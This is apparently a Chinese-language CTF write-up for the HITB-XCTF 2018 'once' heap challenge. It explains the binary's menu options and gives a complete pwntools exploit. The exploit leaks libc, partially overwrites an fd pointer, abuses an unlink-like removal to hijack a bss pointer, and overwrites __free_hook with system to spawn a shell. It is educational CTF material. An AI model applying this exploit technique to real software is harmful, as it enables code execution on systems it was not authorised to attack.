HITB-XCTF_2018_GSEC_once

题目链接:https://github.com/zj3t/ctf/blob/master/xctf2018/once/once

查看保护

保护全开,got表不可写。

分析

直接进一下IDA

???libc_base出来了。

case 1:

创建了一个指针,指向了一个malloc,malloc了0x20的大小,并初始化一下。[2]和[3]其实可以看成fd和bk

case 2:

只有一次使用机会用来编辑case 1的堆块。

case 3:

这个函数也只有一次使用机会,和unlink很相似,将一个chunk摘掉。

case 4:

这个函数一开始输入v0,v0=1时才可以继续往下执行申请任意大的堆块(size>0xc7并且size<=0x1F40。)。当v0 = 2时,可以对初始化0x20的堆块进行编辑,可以修改到fd和bk。当v0=3时,对堆块进行释放。

编写exp

1.用主函数的printf打出libc_base顺带one_gadget

1
2
3
4
5
6
7
8
9
10
11
r.sendlineafter(menu, '999')
r.recvuntil('Invalid choice\n')
libc_base = int(r.recvuntil('>')[:-1], 16) - libc.sym['puts']
success('libc_base = ' + hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
success('free_hook = ' + hex(free_hook))

one = [0x45216, 0x4526a, 0xf0274, 0xf1117]
one_gadget = one[1] + libc_base
success('one_gadget = ' + hex(one_gadget))

2.初始化一个堆。

1
r.sendline('1')

3.利用case 4功能申请一个大堆块备用

1
2
3
4
5
r.recvuntil(menu)
r.sendline('4')
r.recvuntil(menu)
r.sendline('1')
r.sendlineafter('input size:\n', str(0xe0))

4.利用case 4的2修改小堆块中的fd指针的末位字节(由于bss地址未知),使其地址指向bss段上ptr指针-0x10功能,修改fd.看一下vmmap吧。所以ptr = 0x555555400000 + 0x202068 = 0x555555602068

1
2
3
4
r.sendlineafter(menu, '4')
r.sendlineafter(menu, '2')
p1 = 'a' * 0x10 + 'b' * 0x8 + chr(0x58)
r.send(p1)

5.利用case 3功能unlink,使bss段上ptr指针写入 PIE + 0x202020的地址

1
r.sendlineafter(menu, '3')

可以看到ptr指针已经被写成了0x555555602020

6.利用case 4功能中的2函数,由于ptr指针已被我们覆盖,因此可以对bss段上内容任意写,目的是覆盖功能2的指针及功能使用限制的标志位

1
2
3
4
5
6
7
8
9
10
11
12
r.sendlineafter(menu, '4')
r.sendlineafter(menu, '2')

p2 = b'/bin/sh\x00'+ b'\0'*0x10
p2 += p64(free_hook)
p2 += p64(libc_base + libc.sym['_IO_2_1_stdout_'] )
p2 += p64(0)
p2 += p64(libc_base + libc.sym['_IO_2_1_stdin_'])
p2 += p64(0)*2
p2 += p64(libc_base + libc.search(b'/bin/sh').__next__())
p2 += p64(0)*4
r.send(p2)

7.将__free_hook覆写为system,释放堆块,得到shell

1
2
3
4
5
6
r.sendlineafter(menu, '4')
r.sendlineafter(menu, '2')
r.send(p64(libc_base + libc.sym['system']))

r.sendlineafter(menu, '4')
r.sendlineafter(menu, '3')

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *

#context.log_level = 'debug'

file_name = './z1r0'

debug = 0
if debug:
r = remote()
else:
r = process(file_name)

elf = ELF(file_name)

libc = ELF('./2.23/libc-2.23.so')

menu = '> '

def dbg():
gdb.attach(r)

r.sendlineafter(menu, '999')
r.recvuntil('Invalid choice\n')
libc_base = int(r.recvuntil('>')[:-1], 16) - libc.sym['puts']
success('libc_base = ' + hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
success('free_hook = ' + hex(free_hook))

one = [0x45216, 0x4526a, 0xf0274, 0xf1117]
one_gadget = one[1] + libc_base
success('one_gadget = ' + hex(one_gadget))

r.sendline('1')

r.recvuntil(menu)
r.sendline('4')

r.recvuntil(menu)
r.sendline('1')

r.sendlineafter('input size:\n', str(0xe0))

r.sendlineafter(menu, '4')
r.sendlineafter(menu, '2')

p1 = 'a' * 0x10 + 'b' * 0x8 + chr(0x58)
r.send(p1)

r.sendlineafter(menu, '3')

r.sendlineafter(menu, '4')
r.sendlineafter(menu, '2')

p2 = b'/bin/sh\x00'+ b'\0'*0x10
p2 += p64(free_hook)
p2 += p64(libc_base + libc.sym['_IO_2_1_stdout_'] )
p2 += p64(0)
p2 += p64(libc_base + libc.sym['_IO_2_1_stdin_'])
p2 += p64(0)*2
p2 += p64(libc_base + libc.search(b'/bin/sh').__next__())
p2 += p64(0)*4

r.send(p2)

r.sendlineafter(menu, '4')
r.sendlineafter(menu, '2')
r.send(p64(libc_base + libc.sym['system']))

r.sendlineafter(menu, '4')
r.sendlineafter(menu, '3')

r.interactive()